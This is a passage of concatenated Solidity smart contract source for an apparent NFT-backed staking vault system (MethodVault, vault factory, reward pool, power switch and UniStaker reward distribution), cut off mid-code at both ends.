serialNumberToTokenId; mapping(uint256=>uint256) public tokenIdToSerialNumber; mapping(address=>address[]) private ownerToVaultsMap; event TemplateAdded(bytes32 indexed name, address indexed template); event TemplateActive(bytes32 indexed name, address indexed template); constructor() ERC721("MethodNFT", "MTHDNFT") { ERC721._setBaseURI("https://api.methodfi.co/nft/"); } function addTemplate(bytes32 name, address template) public onlyOwner { require(templates[name] == address(0), "Template already exists"); templates[name] = template; if(names.length == 0) { activeTemplate = name; emit TemplateActive(name, template); } names.push(name); emit TemplateAdded(name, template); } function setActive(bytes32 name) public onlyOwner { require(templates[name] != address(0), "Template does not exist"); activeTemplate = name; emit TemplateActive(name, templates[name]); } /* registry functions */ function isInstance(address instance) external view override returns (bool validity) { return ERC721._exists(uint256(instance)); } function instanceCount() external view override returns (uint256 count) { return ERC721.totalSupply(); } function instanceAt(uint256 index) external view override returns (address instance) { return address(ERC721.tokenByIndex(index)); } /* factory functions */ function create(bytes calldata) external override returns (address vault) { return createSelected(activeTemplate); } function create2(bytes calldata, bytes32 salt) external override returns (address vault) { return createSelected2(activeTemplate, salt); } function create() public returns (address vault) { return createSelected(activeTemplate); } function create2(bytes32 salt) public returns (address vault) { return createSelected2(activeTemplate, salt); } function createSelected(bytes32 name) public returns (address vault) { // create clone and initialize vault = ProxyFactory._create( templates[name], abi.encodeWithSelector(IUniversalVault.initialize.selector) ); // mint nft to caller uint256 tokenId = uint256(vault); ERC721._safeMint(msg.sender, tokenId); // push vault to owner's map ownerToVaultsMap[msg.sender].push(vault); // update serial number tokenSerialNumber = tokenSerialNumber.add(1); serialNumberToTokenId[tokenSerialNumber] = tokenId; tokenIdToSerialNumber[tokenId] = tokenSerialNumber; // emit event emit InstanceAdded(vault); // explicit return return vault; } function createSelected2(bytes32 name, bytes32 salt) public returns (address vault) { // create clone and initialize vault = ProxyFactory._create2( templates[name], abi.encodeWithSelector(IUniversalVault.initialize.selector), salt ); // mint nft to caller uint256 tokenId = uint256(vault); ERC721._safeMint(msg.sender, tokenId); // push vault to owner's map ownerToVaultsMap[msg.sender].push(vault); // update serial number tokenSerialNumber = tokenSerialNumber.add(1); serialNumberToTokenId[tokenSerialNumber] = tokenId; tokenIdToSerialNumber[tokenId] = tokenSerialNumber; // emit event emit InstanceAdded(vault); // explicit return return vault; } /* getter functions */ function nameCount() public view returns(uint256) { return names.length; } function vaultCount(address owner) public view returns(uint256) { return ownerToVaultsMap[owner].length; } function getVault(address owner, uint256 index) public view returns (address) { return ownerToVaultsMap[owner][index]; } function getAllVaults(address owner) public view returns (address [] memory) { return ownerToVaultsMap[owner]; } function getTemplate() external view returns (address) { return templates[activeTemplate]; } function getVaultOfNFT(uint256 nftId) public pure returns (address) { return address(nftId); } function getNFTOfVault(address vault) public pure returns (uint256) { return uint256(vault); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {Powered} from "./Powered.sol"; interface IRewardPool { function sendERC20( address token, address to, uint256 value ) external; function rescueERC20(address[] calldata tokens, address recipient) external; } /// @title Reward Pool /// @notice Vault for isolated storage of reward tokens contract RewardPool is IRewardPool, Powered, Ownable { /* initializer */ constructor(address powerSwitch) { Powered._setPowerSwitch(powerSwitch); } /* user functions */ /// @notice Send an ERC20 token /// access control: only owner /// state machine: /// - can be called multiple times /// - only online /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param token address The token to send /// @param to address The recipient to send to /// @param value uint256 Amount of tokens to send function sendERC20( address token, address to, uint256 value ) external override onlyOwner onlyOnline { TransferHelper.safeTransfer(token, to, value); } /* emergency functions */ /// @notice Rescue multiple ERC20 tokens /// access control: only power controller /// state machine: /// - can be called multiple times /// - only shutdown /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param tokens address[] The tokens to rescue /// @param recipient address The recipient to rescue to function rescueERC20(address[] calldata tokens, address recipient) external override onlyShutdown { // only callable by controller require( msg.sender == Powered.getPowerController(), "RewardPool: only controller can withdraw after shutdown" ); // assert recipient is defined require(recipient != address(0), "RewardPool: recipient not defined"); // transfer tokens for (uint256 index = 0; index < tokens.length; index++) { // get token address token = tokens[index]; // get balance uint256 balance = IERC20(token).balanceOf(address(this)); // transfer token TransferHelper.safeTransfer(token, recipient, balance); } } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IPowerSwitch} from "./PowerSwitch.sol"; interface IPowered { function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getPowerSwitch() external view returns (address powerSwitch); function getPowerController() external view returns (address controller); } /// @title Powered /// @notice Helper for calling external PowerSwitch contract Powered is IPowered { /* storage */ address private _powerSwitch; /* modifiers */ modifier onlyOnline() { require(isOnline(), "Powered: is not online"); _; } modifier onlyOffline() { require(isOffline(), "Powered: is not offline"); _; } modifier notShutdown() { require(!isShutdown(), "Powered: is shutdown"); _; } modifier onlyShutdown() { require(isShutdown(), "Powered: is not shutdown"); _; } /* initializer */ function _setPowerSwitch(address powerSwitch) internal { _powerSwitch = powerSwitch; } /* getter functions */ function isOnline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOnline(); } function isOffline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOffline(); } function isShutdown() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isShutdown(); } function getPowerSwitch() public view override returns (address powerSwitch) { return _powerSwitch; } function getPowerController() public view override returns (address controller) { return IPowerSwitch(_powerSwitch).getPowerController(); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; interface IERC2917 { /// @dev This emits when interests amount per block is changed by the owner of the contract. /// It emits with the old interests amount and the new interests amount. event InterestRatePerBlockChanged (uint oldValue, uint newValue); /// @dev This emits when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityIncreased (address indexed user, uint value); /// @dev This emits when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityDecreased (address indexed user, uint value); function initialize() external; /// @dev Note best practice will be to restrict the caller to staking contract address. function setImplementor(address newImplementor) external; /// @dev Return the current contract's interest rate per block. /// @return The amount of interests currently producing per each block. function interestsPerBlock() external view returns (uint); /// @notice Change the current contract's interest rate. /// @dev Note best practice will be to restrict the caller to staking contract address. /// @return The true/fase to notice that the value has successfully changed or not, when it succeeds, it will emit the InterestRatePerBlockChanged event. function changeInterestRatePerBlock(uint value) external returns (bool); /// @notice It will get the productivity of a given user. /// @dev it will return 0 if user has no productivity in the contract. /// @return user's productivity and overall productivity. function getProductivity(address user) external view returns (uint, uint); /// @notice increase a user's productivity. /// @dev Note best practice will be to restrict the caller to staking contract address. /// @return productivity added status as well as interest earned prior period and total productivity function increaseProductivity(address user, uint value) external returns (bool, uint, uint); /// @notice decrease a user's productivity. /// @dev Note best practice will be to restrict the caller to staking contract address. /// @return productivity removed status as well as interest earned prior period and total productivity function decreaseProductivity(address user, uint value) external returns (bool, uint, uint); /// @notice take() will return the interest that callee will get at current block height. /// @dev it will always be calculated by block.number, so it will change when block height changes. /// @return amount of the interest that user is able to mint() at current block height. function take() external view returns (uint); /// @notice similar to take(), but with the block height joined to calculate return. /// @dev for instance, it returns (_amount, _block), which means at block height _block, the callee has accumulated _amount of interest. /// @return amount of interest and the block height. function takeWithBlock() external view returns (uint, uint); /// @notice mint the avaiable interests to callee. /// @dev once it mints, the amount of interests will transfer to callee's address. /// @return the amount of interest minted. function mint() external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; library ProxyFactory { /* functions */ function _create(address logic, bytes memory data) internal returns (address proxy) { // deploy clone proxy = Clones.clone(logic); // attempt initialization if (data.length > 0) { (bool success, bytes memory err) = proxy.call(data); require(success, string(err)); } // explicit return return proxy; } function _create2( address logic, bytes memory data, bytes32 salt ) internal returns (address proxy) { // deploy clone proxy = Clones.cloneDeterministic(logic, salt); // attempt initialization if (data.length > 0) { (bool success, bytes memory err) = proxy.call(data); require(success, string(err)); } // explicit return return proxy; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {EIP712} from "./EIP712.sol"; import {ERC1271} from "./ERC1271.sol"; import {OwnableByERC721} from "./OwnableByERC721.sol"; import {IRageQuit} from "../staking/UniStaker.sol"; interface IUniversalVault { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event RageQuit(address delegate, address token, bool notified, string reason); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function checkBalances() external view returns (bool validity); } /// @title MethodVault /// @notice Vault for isolated storage of staking tokens /// @dev Warning: not compatible with rebasing tokens contract MethodVault is IUniversalVault, EIP712("UniversalVault", "1.0.0"), ERC1271, OwnableByERC721, Initializable { using SafeMath for uint256; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.Bytes32Set; /* constant */ // Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks // the gas requirement cannot be determined at runtime by querying the delegate // as it could potentially be manipulated by a malicious delegate who could force // the calls to revert. // The gas limit could alternatively be set upon vault initialization or creation // of a lock, but the gas consumption trade-offs are not favorable. // Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant RAGEQUIT_GAS = 500000; bytes32 public constant LOCK_TYPEHASH = keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant UNLOCK_TYPEHASH = keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)"); string public constant VERSION = "1.0.0"; /* storage */ uint256 private _nonce; mapping(bytes32 => LockData) private _locks; EnumerableSet.Bytes32Set private _lockSet; /* initialization function */ function initializeLock() external initializer {} function initialize() external override initializer { OwnableByERC721._setNFT(msg.sender); } /* ether receive */ receive() external payable {} /* internal overrides */ function _getOwner() internal view override(ERC1271) returns (address ownerAddress) { return OwnableByERC721.owner(); } /* pure functions */ function calculateLockID(address delegate, address token) public pure override returns (bytes32 lockID) { return keccak256(abi.encodePacked(delegate, token)); } /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, amount, nonce)) ); } function getNonce() external view override returns (uint256 nonce) { return _nonce; } function owner() public view override(IUniversalVault, OwnableByERC721) returns (address ownerAddress) { return OwnableByERC721.owner(); } function getLockSetCount() external view override returns (uint256 count) { return _lockSet.length(); } function getLockAt(uint256 index) external view override returns (LockData memory lockData) { return _locks[_lockSet.at(index)]; } function getBalanceDelegated(address token, address delegate) external view override returns (uint256 balance) { return _locks[calculateLockID(delegate, token)].balance; } function getBalanceLocked(address token) public view override returns (uint256 balance) { uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { LockData storage _lockData = _locks[_lockSet.at(index)]; if (_lockData.token == token && _lockData.balance > balance) balance = _lockData.balance; } return balance; } function checkBalances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance and not shutdown, return false if (IERC20(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance or shutdown, return true return true; } /* user functions */ /// @notice Lock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: anytime /// state scope: /// - insert or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being locked /// @param amount Amount of tokens being locked /// @param permission Permission signature payload function lock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount _locks[lockID].balance = _locks[lockID].balance.add(amount); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, amount); } // validate sufficient balance require( IERC20(token).balanceOf(address(this)) >= _locks[lockID].balance, "UniversalVault: insufficient balance" ); // increase nonce _nonce += 1; // emit event emit Locked(msg.sender, token, amount); } /// @notice Unlock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: after valid lock from delegate /// state scope: /// - remove or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being unlocked /// @param amount Amount of tokens being unlocked /// @param permission Permission signature payload function unlock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // update lock data if (_locks[lockID].balance > amount) { // substract amount from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(amount); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit Unlocked(msg.sender, token, amount); } /// @notice Forcibly cancel delegate lock /// @dev This function will attempt to notify the delegate of the rage quit using a fixed amount of gas. /// access control: only owner /// state machine: after valid lock from delegate /// state scope: /// - remove item from _locks /// token transfer: none /// @param delegate Address of delegate /// @param token Address of token being unlocked function rageQuit(address delegate, address token) external override onlyOwner returns (bool notified, string memory error) { // get lock id bytes32 lockID = calculateLockID(delegate, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // attempt to notify delegate if (delegate.isContract()) { // check for sufficient gas require(gasleft() >= RAGEQUIT_GAS, "UniversalVault: insufficient gas"); // attempt rageQuit notification try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() { notified = true; } catch Error(string memory res) { notified = false; error = res; } catch (bytes memory) { notified = false; } } // update lock storage assert(_lockSet.remove(lockID)); delete _locks[lockID]; // emit event emit RageQuit(delegate, token, notified, error); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= max(lock) + amount /// state scope: none /// token transfer: transfer any token /// @param token Address of token being transferred /// @param to Address of the recipient /// @param amount Amount of tokens to transfer function transferERC20( address token, address to, uint256 amount ) external override onlyOwner { // check for sufficient balance require( IERC20(token).balanceOf(address(this)) >= getBalanceLocked(token).add(amount), "UniversalVault: insufficient balance" ); // perform transfer TransferHelper.safeTransfer(token, to, amount); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= amount /// state scope: none /// token transfer: transfer any token /// @param to Address of the recipient /// @param amount Amount of ETH to transfer function transferETH(address to, uint256 amount) external payable override onlyOwner { // perform transfer TransferHelper.safeTransferETH(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {IUniversalVault} from "../methodNFT/MethodVault.sol"; import {MethodNFTFactory} from "../methodNFT/MethodNFTFactory.sol"; import {IRewardPool} from "./RewardPool.sol"; import {Powered} from "./Powered.sol"; import {IERC2917} from "./IERC2917.sol"; import {ProxyFactory} from "../factory/ProxyFactory.sol"; interface IRageQuit { function rageQuit() external; } interface IUniStaker is IRageQuit { /* admin events */ event UniStakerCreated(address rewardPool, address powerSwitch); event UniStakerFunded(address token, uint256 amount); event BonusTokenRegistered(address token); event BonusTokenRemoved(address token); event VaultFactoryRegistered(address factory); event VaultFactoryRemoved(address factory); event AdminshipTransferred(address indexed previousAdmin, address indexed newAdmin); /* user events */ event Staked(address vault, uint256 amount); event Unstaked(address vault, uint256 amount); event RageQuit(address vault); event RewardClaimed(address vaultFactory, address recipient, address token, uint256 amount); event VestedRewardClaimed(address recipient, address token, uint amount); /* data types */ struct VaultData { // token address to total token stake mapping mapping(address => uint) tokenStake; EnumerableSet.AddressSet tokens; } struct LMRewardData { uint256 amount; uint256 duration; uint256 startedAt; address rewardCalcInstance; EnumerableSet.AddressSet bonusTokens; mapping(address => uint) bonusTokenAmounts; } struct LMRewardVestingData { uint amount; uint startedAt; } /* getter functions */ function getBonusTokenSetLength() external view returns (uint256 length); function getBonusTokenAtIndex(uint256 index) external view returns (address bonusToken); function getVaultFactorySetLength() external view returns (uint256 length); function getVaultFactoryAtIndex(uint256 index) external view returns (address factory); function getNumVaults() external view returns (uint256 num); function getVaultAt(uint256 index) external view returns (address vault); function getNumTokensStaked() external view returns (uint256 num); function getTokenStakedAt(uint256 index) external view returns (address token); function getNumTokensStakedInVault(address vault) external view returns (uint256 num); function getVaultTokenAtIndex(address vault, uint256 index) external view returns (address vaultToken); function getVaultTokenStake(address vault, address token) external view returns (uint256 tokenStake); function getLMRewardData(address token) external view returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance); function getLMRewardBonusTokensLength(address token) external view returns (uint length); function getLMRewardBonusTokenAt(address token, uint index) external view returns (address bonusToken, uint bonusTokenAmount); function getNumVestingLMTokenRewards(address user) external view returns (uint num); function getVestingLMTokenAt(address user, uint index) external view returns (address token); function getNumVests(address user, address token) external view returns (uint num); function getNumRewardCalcTemplates() external view returns (uint num); function getLMRewardVestingData(address user, address token, uint index) external view returns (uint amount, uint startedAt); function isValidAddress(address target) external view returns (bool validity); function isValidVault(address vault, address factory) external view returns (bool validity); /* user functions */ function stake( address vault, address vaultFactory, address token, uint256 amount, bytes calldata permission ) external; function unstakeAndClaim( address vault, address vaultFactory, address recipient, address token, uint256 amount, bool claimBonusReward, bytes calldata permission ) external; function claimAirdropReward(address nftFactory) external; function claimAirdropReward(address nftFactory, uint256[] calldata tokenIds) external; function claimVestedReward() external; function claimVestedReward(address token) external; } /// @title UniStaker /// @notice Reward distribution contract /// Access Control /// - Power controller: /// Can power off / shutdown the UniStaker /// Can withdraw rewards from reward pool once shutdown /// - Owner: /// Is unable to operate on user funds due to UniversalVault /// Is unable to operate on reward pool funds when reward pool is offline / shutdown /// - UniStaker admin: /// Can add funds to the UniStaker, register bonus tokens, and whitelist new vault factories /// Is a subset of owner permissions /// - User: /// Can stake / unstake / ragequit / claim airdrop / claim vested rewards /// UniStaker State Machine /// - Online: /// UniStaker is operating normally, all functions are enabled /// - Offline: /// UniStaker is temporarely disabled for maintenance /// User staking and unstaking is disabled, ragequit remains enabled /// Users can delete their stake through rageQuit() but forego their pending reward /// Should only be used when downtime required for an upgrade /// - Shutdown: /// UniStaker is permanently disabled /// All functions are disabled with the exception of ragequit /// Users can delete their stake through rageQuit() /// Power controller can withdraw from the reward pool /// Should only be used if Owner role is compromised contract UniStaker is IUniStaker, Powered { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; /* constants */ string public constant PLATINUM = "PLATINUM"; string public constant GOLD = "GOLD"; string public constant MINT = "MINT"; string public constant BLACK = "BLACK"; uint public PLATINUM_LM_REWARD_MULTIPLIER_NUM = 5; uint public PLATINUM_LM_REWARD_MULTIPLIER_DENOM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_NUM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_DENOM = 1; uint public MINT_LM_REWARD_MULTIPLIER_NUM = 3; uint public MINT_LM_REWARD_MULTIPLIER_DENOM = 2; uint public BLACK_LM_REWARD_MULTIPLIER_NUM = 1; uint public BLACK_LM_REWARD_MULTIPLIER_DENOM = 1; uint public LM_REWARD_VESTING_PERIOD = 7776000; // 3 months uint public LM_REWARD_VESTING_PORTION_NUM = 1; uint public LM_REWARD_VESTING_PORTION_DENOM = 2; // An upper bound on the number of active tokens staked per vault is required to prevent // calls to rageQuit() from reverting. // With 30 tokens staked in a vault, ragequit costs 432811 gas which is conservatively lower // than the hardcoded limit of 500k gas on the vault. // This limit is configurable and could be increased in a future deployment. // Ultimately, to avoid a need for fixed upper bounds, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public MAX_TOKENS_STAKED_PER_VAULT = 30; uint256 public MAX_BONUS_TOKENS = 50; uint256 public MIN_AIRDROP_REWARD_CLAIM_FREQUENCY = 604800; // week in seconds /* storage */ address public admin; address public rewardToken; address public rewardPool; EnumerableSet.AddressSet private _vaultSet; mapping(address => VaultData) private _vaults; EnumerableSet.AddressSet private _bonusTokenSet; EnumerableSet.AddressSet private _vaultFactorySet; EnumerableSet.AddressSet private _allStakedTokens; mapping(address => uint256) public stakedTokenTotal; mapping(address => LMRewardData) private lmRewards; // user to token to earned reward mapping mapping(address => mapping(address => uint)) public earnedLMRewards; // user to token to vesting data mapping mapping(address => mapping(address => LMRewardVestingData[])) public vestingLMRewards; // user to vesting lm token rewards set mapping(address => EnumerableSet.AddressSet) private vestingLMTokenRewards; // nft tier to amount mapping(string => uint256) public weeklyAirdropAmounts; mapping(string => uint256) public balancesRequiredToClaim; // nft id to timestamp mapping(uint256 => uint256) public nftLastClaimedRewardAt; // erc2917 template names string[] public rewardCalcTemplateNames; // erc2917 template names to erc 2917 templates mapping(string => address) public rewardCalcTemplates; string public activeRewardCalcTemplate; event RewardCalcTemplateAdded(string indexed name, address indexed template); event RewardCalcTemplateActive(string indexed name, address indexed template); /* initializer */ /// @notice Initizalize UniStaker /// access control: only proxy constructor /// state machine: can only be called once /// state scope: set initialization variables /// token transfer: none /// @param adminAddress address The admin address /// @param rewardPoolFactory address The factory to use for deploying the RewardPool /// @param powerSwitchFactory address The factory to use for deploying the PowerSwitch /// @param rewardTokenAddress address The address of the reward token for this UniStaker constructor( address adminAddress, address rewardPoolFactory, address powerSwitchFactory, address rewardTokenAddress ) { // deploy power switch address powerSwitch = IFactory(powerSwitchFactory).create(abi.encode(adminAddress)); // deploy reward pool rewardPool = IFactory(rewardPoolFactory).create(abi.encode(powerSwitch)); // set internal config admin = adminAddress; rewardToken = rewardTokenAddress; Powered._setPowerSwitch(powerSwitch); weeklyAirdropAmounts[PLATINUM] = uint256(166).mul(1e18); weeklyAirdropAmounts[GOLD] = uint256(18).mul(1e18); weeklyAirdropAmounts[MINT] = uint256(4).mul(1e18); balancesRequiredToClaim[PLATINUM] = uint256(166).mul(1e18); balancesRequiredToClaim[GOLD] = uint256(18).mul(1e18); balancesRequiredToClaim[MINT] = uint256(4).mul(1e18); // emit event emit UniStakerCreated(rewardPool, powerSwitch); } /* admin functions */ function _admin() private view { require(msg.sender == admin, "not allowed"); } /** * @dev Leaves the contract without admin. It will not be possible to call * `admin` functions anymore. Can only be called by the current admin. * * NOTE: Renouncing adminship will leave the contract without an admin, * thereby removing any functionality that is only available to the admin. */ function renounceAdminship() public { _admin(); emit AdminshipTransferred(admin, address(0)); admin = address(0); } /** * @dev Transfers adminship of the contract to a new account (`newAdmin`). * Can only be called by the current admin. */ function transferAdminship(address newAdmin) public { _admin(); require(newAdmin != address(0), "new admin can't the zero address"); emit AdminshipTransferred(admin, newAdmin); admin = newAdmin; } /// @notice Add funds to UniStaker /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - none /// token transfer: transfer staking tokens from msg.sender to reward pool /// @param amount uint256 Amount of reward tokens to deposit function fund(address token, uint256 amount) external { _admin(); require(_bonusTokenSet.contains(token) || token == rewardToken, "cannot fund with unrecognized token"); // transfer reward tokens to reward pool TransferHelper.safeTransferFrom( token, msg.sender, rewardPool, amount ); // emit event emit UniStakerFunded(token, amount); } /// @notice Rescue tokens from RewardPool /// @dev use this function to rescue tokens from RewardPool contract without distributing to stakers or triggering emergency shutdown /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: none /// token transfer: transfer requested token from RewardPool to recipient /// @param token address The address of the token to rescue /// @param recipient address The address of the recipient /// @param amount uint256 The amount of tokens to rescue function rescueTokensFromRewardPool( address token, address recipient, uint256 amount ) external { _admin(); // verify recipient require(isValidAddress(recipient), "invalid recipient"); // transfer tokens to recipient IRewardPool(rewardPool).sendERC20(token, recipient, amount); } /// @notice Add vault factory to whitelist /// @dev use this function to enable stakes to vaults coming from the specified factory contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - append to _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function 